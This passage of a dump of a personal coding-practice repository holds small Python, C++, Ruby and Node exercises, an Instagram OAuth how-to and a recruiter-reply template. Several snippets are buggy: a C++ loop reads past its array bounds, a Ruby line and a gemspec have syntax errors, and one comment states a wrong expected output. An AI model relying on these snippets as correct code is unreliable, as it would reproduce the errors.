app.\n\n\n```http\nhttp://api.instagram.com/oauth/authorize/?client_id=CLIENT-ID&redirect_uri=REDIRECT-URI&response_type=code\n```\n\n\n### Step 2\n\n- Authorize your app and get the `..com/?code=` from the callback URL\n- Copy the `code`\n\n\n### Step 3\n\n- Run this command to get the AccessToken\n- Replace `CLIENT-ID` with the same ID as above\n- Replace `CLIENT-SECRET` with the secret from your manage clients page\n- Replace `REDIRECT-URL` with the same as aboev\n- Replace `CODE` with the newly obtained code\n\n```sh\ncurl \\-F 'client_id=CLIENT-ID' \\\n -F 'client_secret=CLIENT-SECRET' \\\n -F 'grant_type=authorization_code' \\\n -F 'redirect_uri=YOUR-REDIRECT-URI' \\\n -F 'code=CODE' \\https://api.instagram.com/oauth/access_token\n```\n\n\n### Step 4\n\n- Profit\n" }, { "alpha_fraction": 0.7279664278030396, "alphanum_fraction": 0.7466616034507751, "avg_line_length": 38.10447692871094, "blob_id": "1cfb17635158c91c28718fc5c9b9f9a66769b181", "content_id": "5d550e6d9ee262b51b1a3a86403ec78440e512ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2621, "license_type": "no_license", "max_line_length": 124, "num_lines": 67, "path": "/random/contests/Google CodeJam/Speaking in Tongues.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "\"\"\"\n# Speaking in Tongues\n\n## Problem\n\nWe have come up with the best possible language here at Google, called Googlerese. To translate text into \nGooglerese, we take any message and replace each English letter with another English letter. This mapping \nis one-to-one and onto, which means that the same input letter always gets replaced with the same output \nletter, and different input letters always get replaced with different output letters. A letter may be \nreplaced by itself. Spaces are left as-is.\n\nFor example (and here is a hint!), our awesome translation algorithm includes the following three mappings:\n'a' -> 'y', 'o' -> 'e', and 'z' -> 'q'. This means that \"a zoo\" will become \"y qee\".\n\nGooglerese is based on the best possible replacement mapping, and we will never change it. It will always be\nthe same. In every test case. We will not tell you the rest of our mapping because that would make the problem\ntoo easy, but there are a few examples below that may help.\n\nGiven some text in Googlerese, can you translate it to back to normal text?\n\nSolving this problem\n\nUsually, Google Code Jam problems have 1 Small input and 1 Large input. This problem has only 1 Small input.\nOnce you have solved the Small input, you have finished solving this problem.\n\n### Input\n\nThe first line of the input gives the number of test cases, T. T test cases follow, one per line.\n\nEach line consists of a string G in Googlerese, made up of one or more words containing the letters 'a' - 'z'. \nThere will be exactly one space (' ') character between consecutive words and no spaces at the beginning or at \nthe end of any line.\n\n### Output\n\nFor each test case, output one line containing \"Case #X: S\" where X is the case number and S is the string that\nbecomes G in Googlerese.\n\n### Limits\n\n1 <= T <= 30.\nG contains at most 100 characters.\nNone of the text is guaranteed to be valid English.\n\n### Sample\n\n Input\n 3\n ejp mysljylc kd kxveddknmc re jsicpdrysi\n rbcpc ypc rtcsra dkh wyfrepkym veddknkmkrkcd\n de kr kd eoya kw aej tysr re ujdr lkgc jv\n\n Output\n Case #1: our language is impossible to understand\n Case #2: there are twenty six factorial possibilities\n Case #3: so it is okay if you want to just give up\n\n\"\"\"\n\nimport string, urllib\n\ninput = 'https://raw.github.com/gist/2404633/65abea31f1a9504903f343e762d007d95ef0540a/GoogleCodeJam-SpeakingInTongues.txt'\ndecoded = string.maketrans('ynficwlbkuomxsevzpdrjgthaq', 'abcdefghijklmnopqrstuvwxyz')\ngetdata = urllib.urlopen(input).read().split('\\n')[1:]\n\nfor i, j in enumerate(getdata):\n print \"Case #%d: %s\" % (i+1, j.translate(decoded))\n\n" }, { "alpha_fraction": 0.3400900959968567, "alphanum_fraction": 0.43918919563293457, "avg_line_length": 36.08333206176758, "blob_id": "b6c7a9c0040a4fc6c4b0bfdf8dcb1a4431eb487a", "content_id": "3213eda903078d84932c382a1d7c89e344017307", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 444, "license_type": "no_license", "max_line_length": 93, "num_lines": 12, "path": "/random/generatePrimes.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "def genPrimes(n):\n n, correction = n - n%6 + 6, 2 - (n % 6 > 1)\n sieve = [True] * (n/3)\n for i in xrange(1, int(n**0.5) / 3 + 1):\n if sieve[i]:\n k = 3*i+1|1\n sieve[k*k/3 ::2*k] = [False] * ((n/6 - k*k/6-1) / k+1)\n sieve[k*(k-2*(i&1) + 4)/3 :: 2*k] = [False] * ((n/6 - k*(k-2*(i&1)+4)/6-1) / k+1)\n\n return [2,3] + [3*i+1|1 for i in xrange(1,n/3-correction) if sieve[i]]\n\nprint genPrimes(10000)" }, { "alpha_fraction": 0.5282555222511292, "alphanum_fraction": 0.5896806120872498, "avg_line_length": 14.074073791503906, "blob_id": "a9875d23d4bf2d917eb9e94594d2148e85316cad", "content_id": "1f4594640593520698b5b62bfe47e228a4b50f9b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 407, "license_type": "no_license", "max_line_length": 51, "num_lines": 27, "path": "/c++/C++ Basics/21MultidimensionalArrays.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\nusing namespace std;\n\nvoid displaySomething(const char p[][10], int dim);\n\nint main()\n{\n\tchar something[50][100];\n\tint matrix[2][3];\n\tdouble inception[10][20][30];\n\tchar p[3][10];\n\t\n\tdisplaySomething(p, 2);\n}\n\n\nvoid displaySomething(const char p[][10], int dim)\n{\n\tfor(int i = 0; i < dim; i++)\n\t{\n\t\tfor(int j = 0; j < 50; j++)\n\t\t{\n\t\t\tcout << p[i][j] << endl;\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.3526785671710968, "alphanum_fraction": 0.4151785671710968, "avg_line_length": 21.5, "blob_id": "b6a84fbc74a39abb7616144de9efd2c62a011d3c", "content_id": "55b8622b25af9a3e67c58c5cdb54e6ff86f78ac4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 224, "license_type": "no_license", "max_line_length": 47, "num_lines": 10, "path": "/computation/FastFibonnaci.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "def fibonacci(n):\n if n == 0:\n return (0, 1)\n else:\n a, b = fibonacci(n/2)\n c = a*(2*b - a)\n d = b*b + a*a\n return (c, d) if n%2 == 0 else (d, c+d)\n\nprint fibonacci(100000)[0]" }, { "alpha_fraction": 0.7252252101898193, "alphanum_fraction": 0.7252252101898193, "avg_line_length": 13.800000190734863, "blob_id": "771205f72c9746491653eba06089d4618eff5e71", "content_id": "11afbce87004af8758788524cc0e46823fc31b9f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 222, "license_type": "no_license", "max_line_length": 59, "num_lines": 15, "path": "/documentation/uninstall/RemoveUbuntuUnity.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "## Uninstalling Ubuntu Unity GUI Interface\n\n\n### Installation\n\n\n```sh\nsudo apt-get install gnome-session-fallback\n```\n\n### Activation\n\n- Log out\n- Click the gear icon (settings icon) next to your username\n- Choose Classic\n" }, { "alpha_fraction": 0.5615384578704834, "alphanum_fraction": 0.6038461327552795, "avg_line_length": 10.30434799194336, "blob_id": "338823b5c6d3502cd37fb84041cb44fd44964849", "content_id": "a98883e8e3a45b3f32393fe017d60c20b492e11d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 260, "license_type": "no_license", "max_line_length": 27, "num_lines": 23, "path": "/c++/C++ Basics/26BasicRecursion.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\nusing namespace std;\n\nvoid printVertical(int n);\n\nint main()\n{\n\tprintVertical(12321);\n}\n\nvoid printVertical(int n)\n{\n\tif(n < 10)\n\t{\n\t\tcout << n << endl;\n\t}\n\telse\n\t{\n\t\tprintVertical(n/10);\n\t\tcout << (n % 10) << endl;\n\t}\n}\n" }, { "alpha_fraction": 0.39726027846336365, "alphanum_fraction": 0.5068492889404297, "avg_line_length": 72, "blob_id": "e7b40e11f9f55f41007bbc148b4c1701c89f8c30", "content_id": "a8f238a35702c78b71f666f48c2c7cf59a91b7c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 73, "license_type": "no_license", "max_line_length": 72, "num_lines": 1, "path": "/random/FizzBuzz.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "print [x % 3/2 * 'Fizz' + x % 5/4 * 'Buzz' or x + 1 for x in range(100)]\n" }, { "alpha_fraction": 0.4757709205150604, "alphanum_fraction": 0.5242290496826172, "avg_line_length": 55.75, "blob_id": "2644aad058d204a0acc15376a2e3a76f76571e90", "content_id": "add4288277faed1089074a797889b42157ae7bd8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 227, "license_type": "no_license", "max_line_length": 110, "num_lines": 4, "path": "/random/printCubes.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "# Run this script and enter 3 numbers separated by space\n# example input '5 5 5'\na,b,c=map(int,raw_input().split())\nfor i in range(b+c+1):print(' '*(c-i)+((' /|'[(i>c)+(i>0)]+'_'*4)*(a+1))[:-4]+('|'*(b+c-i))[:b]+'/')[:5*a+c+1]\n" }, { "alpha_fraction": 0.5047081112861633, "alphanum_fraction": 0.5273069739341736, "avg_line_length": 12.947368621826172, "blob_id": "8d2a72b9abb31091443057e8124901f261026ffd", "content_id": "70efdfe608223a8cb34306bc17adc2f0ee69ddf0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 531, "license_type": "no_license", "max_line_length": 42, "num_lines": 38, "path": "/c++/C++ Basics/17Arrays.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\n#define count(a) ( sizeof(a)/sizeof(*a) )\nusing namespace std;\n\nvoid fillArray(int a[], int size);\n\nint main()\n{\n\tint prime[5] = {1,3,5,7,11};\n\tint dummy[5], size;\n\t\n\tfor(int i=0; i < count(prime); i++)\n\t{\n\t\tcout << prime[i] << endl;\n\t}\n\t\n\tcout << \"\\n\" <<endl;\n\t\n\tfillArray(dummy, 5);\n}\n\n\nvoid fillArray(int a[], int size)\n{\n\tcout << \"Enter \" << size << \" numbers\\n\";\n\tfor(int i = 0; i < size; i++)\n\t{\n\t\tcin >> a[i];\n\t}\n\t\n\tsize--;\n\n\tfor(int j=0; j<size; j++)\n\t{\n\t\tcout << a[j] << endl;\n\t}\n}\n\n" }, { "alpha_fraction": 0.6350364685058594, "alphanum_fraction": 0.7153284549713135, "avg_line_length": 26.399999618530273, "blob_id": "c0dcb20a01f6ad190c58e8ccb214e5c2e86c7cf4", "content_id": "3be31b030888abe8da90a4aef235fba471c1f008", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 137, "license_type": "no_license", "max_line_length": 44, "num_lines": 5, "path": "/random/LengthOfNumber.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "def lengthOfNumber(n):\n from math import log10, floor\n return int(floor(log10(n)+1))\n\nprint lengthOfNumber(12321) # should give 2\n" }, { "alpha_fraction": 0.768750011920929, "alphanum_fraction": 0.768750011920929, "avg_line_length": 40.739131927490234, "blob_id": "f8781fa930361764e0d81a47c82b957dacf38485", "content_id": "ddea88bb4e644d5fd8de7e02e95d0733c240dc59", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 970, "license_type": "no_license", "max_line_length": 153, "num_lines": 23, "path": "/documentation/AwfulRecruiters.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "Hello,\n\nThank you for your note. I am not interested for the following reason(s):\n\n- You do not include the specific name of the company you represent, which\n - leads me to believe you are just canvassing and\n - limits my ability to filter based on companies I don’t care for\n\n- You do not call out the specific skills I have that make me a “perfect fit”\n\n- You refer to skills or interests a) substantially in my past and/or b) clearly not part of my current role\n or expertise\n\n- If your CEO/CTO/VP Eng/Director thought my background sounded good, he/she should have emailed me personally\n\n- I will not send you any leads because I am already personally recruiting all the good people I know\n\n- Your request that we start with a “quick call” shows a clear disregard for the [work style of engineers](http://www.paulgraham.com/makersschedule.html)\n\n- You appear to have misspelled my name despite having my email address to use as starting point\n\n\nKartik\n" }, { "alpha_fraction": 0.5416191816329956, "alphanum_fraction": 0.5689851641654968, "avg_line_length": 13.965517044067383, "blob_id": "82746d3129f86af74daf57ddba7f4efddabc84e4", "content_id": "b550f218c27c6828253678bd3e26822db774b8a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 877, "license_type": "no_license", "max_line_length": 85, "num_lines": 58, "path": "/c++/C++ Basics/27RecursiveBinarySearch.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\nusing namespace std;\n\nconst int SIZE = 10;\nvoid search(const int a[], int first, int last, int key, bool& found, int& location);\n\nint main()\n{\n\tint a[SIZE] = {1,3,5,7,9,11,13,15,17,19};\n\tconst int indexFinal = SIZE-1;\n\t\n\t\n\tint key, location;\n\tbool found;\n\tkey = 13;\t// To Find\n\t\n\tsearch(a, 0, indexFinal, key, found, location);\n\t\n\tif(found)\n\t{\n\t\tcout << \"Location : \" << location << endl;\n\t}\n\telse\n\t{\n\t\tcout << \"DNE\" << endl;\n\t}\n\t\n}\n\nvoid search(const int a[], int first, int last, int key, bool& found, int& location)\n{\n\n\tint mid;\n\t\n\tif(first > last)\n\t{\n\t\tfound = false;\n\t}\n\telse\n\t{\n\t\tmid = (first + last)/2;\n\t\t\n\t\tif(key == a[mid])\n\t\t{\n\t\t\tfound = true;\n\t\t\tlocation = mid;\n\t\t}\n\t\telse if (key < a[mid])\n\t\t{\n\t\t\tsearch(a, first, mid-1, key, found, location);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tsearch(a, mid+1, last, key, found, location);\n\t\t}\n\t}\n}\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6504481434822083, "alphanum_fraction": 0.6760563254356384, "avg_line_length": 16.35555648803711, "blob_id": "4997b457f93aa0ddcd543fbfc670fbd83240d475", "content_id": "06a3add999f94b82f7a00ebf07b837aa96cc1843", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 781, "license_type": "no_license", "max_line_length": 104, "num_lines": 45, "path": "/c++/C++ Basics/36VirtualFunctionUsage.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\n#include \"35VirtualClassFunctions.h\"\n#include \"36VirtualFunctionUsage.h\"\nusing namespace std;\nusing namespace customSale;\n\n\nnamespace customSale\n{\n\tDiscountSale::DiscountSale() : Sale(), discount(0)\n\t{\n\t\t// __construct\n\t}\n\t\n\tDiscountSale::DiscountSale(double thePrice, double theDiscount) : Sale(thePrice), discount(theDiscount)\n\t{\n\t\t// __construct\n\t}\n\t\n\tdouble DiscountSale::bill() const\n\t{\n\t\tdouble fraction = discount/100;\n\t\treturn (1 - fraction)*price;\n\t}\n}\n\nint main()\n{\n\tSale simple(10.00);\n\tDiscountSale discount(11.00, 10);\n\t\n\t\n\tif(discount < simple)\n\t{\n\t\tcout << \"Discounted item is cheaper\" << endl;\n\t\tcout << \"Savings is $\" << simple.savings(discount) << endl;\n\t}\n\telse\n\t{\n\t\tcout << \"You got ripped off\" << endl;\n\t}\n\t\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.5333333611488342, "avg_line_length": 25.77777862548828, "blob_id": "94b3a949dc5d7c06c21ea62a46e656d13cbffc2c", "content_id": "f5cbd367ebb1c43b635ea6d6d1c02ad481279743", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 240, "license_type": "no_license", "max_line_length": 52, "num_lines": 9, "path": "/random/EratosthenesSieve.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "def eratosthenes_sieve(n):\n candidates = list(range(n+1))\n fin = int(n**0.5)\n \n for i in xrange(2, fin+1):\n if candidates[i]:\n candidates[2*i::i] = [None] * (n//i - 1)\n \n return [i for i in candidates[2:] if i]" }, { "alpha_fraction": 0.7164179086685181, "alphanum_fraction": 0.7164179086685181, "avg_line_length": 12.300000190734863, "blob_id": "c5e4873f7b6b3beefa2dd22914983271d8905c24", "content_id": "740f9bb74ee2ec2a4f5d45ff2a2b7f87312ae172", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 134, "license_type": "no_license", "max_line_length": 21, "num_lines": 10, "path": "/ruby/03Strings.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "\nname = \"Kartik\"\nlength = name.length\nrev = name.reverse.\n\n\nputs name\nputs length\nputs rev\nputs \"Talwar\".reverse\nputs name.split(\"r\")\n" }, { "alpha_fraction": 0.5716783404350281, "alphanum_fraction": 0.5734265446662903, "avg_line_length": 30.72222137451172, "blob_id": "8d998cc841fb4b989ac77a54e03f05b841e5aeb9", "content_id": "4314cf2a815a1ab381fc9d935cb5e21a95c94d9a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 572, "license_type": "no_license", "max_line_length": 80, "num_lines": 18, "path": "/ruby/The Hard Way/projects/skeleton/NAME.gemspec", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#-*- encoding: utf8 -*-\n$:.push File.expand_path(\"../lib\", __FILE__)\nrequire \"NAME/version\"\n\nGem:Specification.new do |s|\n s.name = \"NAME\"\n s.version = NAME::VERSION\n s.authors = ['Kartik Talwar']\n s.email = ['hi@kartikt.com']\n s.homepage = ''\n s.summary = %q{Gem Summary}\n s.description = %q{Gem Desc}\n s.rubyforge_project = \"NAME\"\n s.files = `git ls-files`.split(\"\\n\")\n s.test_files = `git ls-files --{test,spec,features}/*`.split(\"\\n\")\n s.executables = `git ls-files --bin/*`.split(\"\\n\").map{|f| File.basename(f)}\n s.require_paths = ['lib']\nend\n\n" }, { "alpha_fraction": 0.5992714166641235, "alphanum_fraction": 0.6047359108924866, "avg_line_length": 13.286956787109375, "blob_id": "780d9eacc89f25fcf042f70ad4f760cab83c665d", "content_id": "cf54a21d81b50caa23ffd9ff101bda9ff205483e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1647, "license_type": "no_license", "max_line_length": 52, "num_lines": 115, "path": "/c++/C++ Basics/23StringClassNamespace.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\n#include <string>\n#include <cctype>\n\nvoid swap(char& a, char& b);\nbool isPalindrome(const std::string& word);\n\nstd::string reverse(const std::string& str);\nstd::string removePunct(const std::string& src);\nstd::string toLower(const std::string& s);\n\nint main()\n{\n\tusing namespace std;\n\tstring str;\n\t\n\tstr = \"Madam, I'm Adam.'\";\n\t\n\tif(isPalindrome(str))\n\t{\n\t\tcout << str << \" is a palindrome\" << endl;\n\t}\n\telse\n\t{\n\t\tcout << str << \" is not a palindrome\" << endl;\n\t}\n\n\tcout << toLower(removePunct(str)) << endl;\n}\n\n\nvoid swap(char& a, char& b)\n{\n\tchar temp = a;\n\ta = b;\n\tb = temp;\n}\n\n\n\nbool isPalindrome(const std::string& word)\n{\n\tusing namespace std;\n\tstring sentence = toLower(removePunct(word));\n\tfor(int i=0; i< (word.length())/2; i++)\n\t{\n\t\tif(sentence[sentence.length()-1-i] != sentence[i])\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}\n\t\n\treturn true;\n}\n\n\n\nstd::string reverse(const std::string& str)\n{\n\tusing namespace std;\n\t\n\tint start = 0;\n\tint end = str.length();\n\t\n\tstring temp = str;\n\t\n\twhile(start < end)\n\t{\n\t\tend--;\n\t\tswap(temp[start], temp[end]);\n\t\tstart++;\n\t}\n\t\n\treturn temp;\n}\n\n\n\nstd::string toLower(const std::string& s)\n{\n\tusing namespace std;\n\t\n\tstring temp = s;\n\t\n\tfor(int i = 0; i < s.length(); i++)\n\t{\n\t\ttemp[i] = tolower(s[i]);\n\t}\n\t\n\treturn temp;\n}\n\n \n\nstd::string removePunct(const std::string& src)\n{\n\tusing namespace std;\n\t\n\tstring bad = \"' ,.!?\\\";:\";\n\tstring clean;\n\t\n\tfor(int i=0; i < src.length(); i++)\n\t{\n\t\tstring character = src.substr(i, 1);\n\t\tint location = bad.find(character, 0);\n\t\t\n\t\tif(location < 0 || location >= bad.length())\n\t\t{\n\t\t\tclean = clean+character;\n\t\t}\n\t}\n\t\n\treturn clean;\n}\n\n\n\n\n" }, { "alpha_fraction": 0.6184738874435425, "alphanum_fraction": 0.6706827282905579, "avg_line_length": 21.636363983154297, "blob_id": "1c68e0e9310b136e26293d848b70a00961bb61c6", "content_id": "edcacf972848ed0b56c3ebaa97f32d0ab931d04a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 249, "license_type": "no_license", "max_line_length": 57, "num_lines": 11, "path": "/node/01Server.js", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "var http = require('http');\n\nhttp.createServer(\n\tfunction(request, response) \n\t{\n\t\tresponse.writeHead(200, {'Content-Type': 'text/html'});\n\t\tresponse.end('Hello, World!');\n\t}\n).listen(1337, \"127.0.0.1\");\n\nconsole.log('Server running at localhost');\n" }, { "alpha_fraction": 0.5274725556373596, "alphanum_fraction": 0.5604395866394043, "avg_line_length": 7.2727274894714355, "blob_id": "1884b6ec43d4dc0b5a58566de5b4781e82d46ebf", "content_id": "b9c8b47339d89b373ff36c446598fabb89324e0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 91, "license_type": "no_license", "max_line_length": 16, "num_lines": 11, "path": "/ruby/The Hard Way/13Loops.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "i = 0\nnumber = []\n\nwhile i < 6\n number.push(i)\n i += 1\nend\n\nfor i in number\n puts i\nend\n" }, { "alpha_fraction": 0.4318181872367859, "alphanum_fraction": 0.4886363744735718, "avg_line_length": 28.33333396911621, "blob_id": "60768109c0720ee523ab4c08786106be45cd52f7", "content_id": "6c4583f1496a92d625a6c1400d3d5d8d129a3f72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 88, "license_type": "no_license", "max_line_length": 57, "num_lines": 3, "path": "/random/IsPrime.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "def isPrime(n):\n import re\n return re.match(r'^1?$|^(11+?)\\1+$', '1' * n) == None\n" }, { "alpha_fraction": 0.49056604504585266, "alphanum_fraction": 0.5320754647254944, "avg_line_length": 22.909090042114258, "blob_id": "8f22e8f2eec087d7688e9f78271a37da96dce230", "content_id": "066bd6c8add42e709842dd9dd12b07a72399e9ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 265, "license_type": "no_license", "max_line_length": 71, "num_lines": 11, "path": "/computation/FastInverseSquareRoot.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "\nfloat FastInverseSqrt(float x)\n{\n float xhalf = 0.5f * x;\n int i = *(int*)&x; // evil floating point bit level hacking\n\n i = 0x5f3759df - (i >> 1); // magic square root consant\n x = *(float*)&i;\n x = x*(1.5f-(xhalf*x*x));\n\n return x;\n}\n\n" }, { "alpha_fraction": 0.5924006700515747, "alphanum_fraction": 0.6036269664764404, "avg_line_length": 12.951807022094727, "blob_id": "18e759fc6652cfcb24919e99ff4cc494b6172c07", "content_id": "9ef202152665eeac3285d9146f9541a54e82ae62", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1158, "license_type": "no_license", "max_line_length": 85, "num_lines": 83, "path": "/c++/C++ Basics/13Classes2.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream.h>\n\nusing namespace std;\n\nclass DayOfYear\n{\n\tpublic:\n\t\tDayOfYear(int p1, int p2);\n\t\tvoid input();\n\t\tvoid output();\n\t\tvoid set(int nmonth, int nday);\n\t\tint getMonth();\n\t\tint getDay();\n\tprivate:\n\t\tint month;\n\t\tint day;\n};\n\n\nint main()\n{\n\tDayOfYear sampleConstructor(6, 29), today, birthday;\n\n\tcout << \"enter todays date: \" << endl;\n\ttoday.input();\n\tcout << \"what you typed was\" << endl;\n\ttoday.output();\n\n\tbirthday.set(3, 21);\n\n\tcout << \"This guys birthday is : \" << endl;\n\tbirthday.output();\n\n\tif( today.getMonth() == birthday.getMonth() && today.getDay() == birthday.getDay() )\n\t{\n\t\tcout << \"Happy Birthday!\" << endl;\n\t}\n\telse\n\t{\n\t\tcout << \"Wattup\" << endl;\n\t}\n\n\treturn 0;\n\n}\n\n\nDayOfYear::DayOfYear(int p1, int p2)\n{\n\tmonth = p1;\n\tday = p2;\n}\n\nvoid DayOfYear::input()\n{\n\tcout << \"enter month\" << endl;\n\tcin >> month;\n\tcout << \"enter date\" << endl;\n\tcin >> day;\n}\n\n\nvoid DayOfYear::output()\n{\n\tcout << \"month = \" << month << \"\\n day = \" << day << endl;\n}\n\nvoid DayOfYear::set(int nmonth, int nday)\n{\n\tmonth = nmonth;\n\tday = nday;\n}\n\nint DayOfYear::getMonth()\n{\n\treturn month;\n}\n\nint DayOfYear::getDay()\n{\n\treturn day;\n}\n" }, { "alpha_fraction": 0.26523298025131226, "alphanum_fraction": 0.35722818970680237, "avg_line_length": 22.22222137451172, "blob_id": "8bb4c509c7036c45ec314fab807067dd75b6c8d2", "content_id": "9d594218f34206a8b4417aed755c16771c2746b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 837, "license_type": "no_license", "max_line_length": 82, "num_lines": 36, "path": "/computation/BiggestPrimeNumber.c", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdlib.h>\n\n// runtime: ~1 min\n// output size: ~13MB (about 13 million digits)\n// computes: 2^43112609 - 1\n\nint m = 167772161, N = 1, t[1 << 25] = { 2 }, a, *p, i, e = 34893349, s, c, U = 1;\n\ng(d, h)\n{\n for (i = s; i < 1 << 24; i *= 2)\n\td = d * 1LL * d % m;\n for (p = t; p < t + N; p += s)\n\tfor (i = s, c = 1; i; i--)\n\t a = p[s] * (h ? c : 1LL) % m, p[s]\n\t\t= (m + *p - a) * (h ? 1LL : c) % m, a += *p, *p++ = a % m, c = c * 1LL * d % m;\n}\n\nmain()\n{\n while (e /= 2) {\n\tN *= 2;\n\tU = U * 1LL * (m + 1) / 2 % m;\n\tfor (s = N; s /= 2;)\n\t g(17, 0);\n\tfor (p = t; p < t + N; p++)\n\t *p = *p * 1LL ** p % m * U % m;\n\tfor (s = 1; s < N; s *= 2)\n\t g(29606852, 1);\n\tfor (a = 0, p = t; p < t + N;)\n\t a += *p << (e & 1), *p++ = a % 10, a /= 10;\n }\n while (!*--p);\n for (t[0]--; p >= t;)\n\tputchar(48 + *p--);\n}\n\n" }, { "alpha_fraction": 0.5649717450141907, "alphanum_fraction": 0.596045196056366, "avg_line_length": 12.11111068725586, "blob_id": "c7c31871e59f13f8a99859b57ccaa176dc94e9e9", "content_id": "7f5a58b8a89a7f72d9431db6dece70cfc63268b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 354, "license_type": "no_license", "max_line_length": 55, "num_lines": 27, "path": "/c++/C++ Basics/25DynamicArrays.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\nusing namespace std;\n\nint main()\n{\n\t// Sample 1 - shows that array is ~ pointer\n\ttypedef int* intptr;\n\tintptr p;\n\tint a[10];\n\t\n\tfor(int i=0; i<10; i++)\n\t{\n\t\ta[i] = i+1;\n\t}\n\t\n\tp = a;\n\t\n\t\n\t// Dynamic Arrays - creates a dynamic array of size 10\n\ttypedef double* dptr;\n\tdptr d;\n\td = new double[10];\n\t\n\tdelete [] d;\n\t\n}\n" }, { "alpha_fraction": 0.6180081963539124, "alphanum_fraction": 0.6275579929351807, "avg_line_length": 17.325000762939453, "blob_id": "f23d038438c19d47c1d3569b7f4c1e1fa0ae0976", "content_id": "c7ebeeffb8d8fe5a66922c55e31f16cdc0ea4f0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 733, "license_type": "no_license", "max_line_length": 50, "num_lines": 40, "path": "/c++/C++ Basics/09FileStreams.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream.h>\n#include <fstream.h>\n#include <cstdlib.h>\n\nint main()\n{\n\tusing namespace std;\n\tifstream in_stream;\n\tofstream out_stream;\n\tchar inputFile[16], outputFile[16];\n\n\tcout << \"Enter an input file name:\" << endl;\n\tcin >> inputFile;\n\tcout << \"Enter an output file name: \" << endl;\n\tcin >> outputFile;\n\n\tin_stream.open(inputFile);\n\n\tif( in_stream.fail() )\n\t{\n\t\tcout << \"opening file failed bro\" << endl;\n\t\texit(1);\n\t}\n\n\n\tout_stream.open(outputFile);\n\n\tint first, second, third;\n\n\tin_stream >> first >> second >> third;\n\tout_stream << \"The sum of the first 3\\n\"\n\t\t << \" numbers is input.txt\\n\"\n\t\t << \" is \" << (first + second+ third) << endl;\n\n\tin_stream.close();\n\tout_stream.close();\n\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.5596206188201904, "alphanum_fraction": 0.5691056847572327, "avg_line_length": 9.54285717010498, "blob_id": "334e495cbafb6f64b16510984bf551e1067d64fb", "content_id": 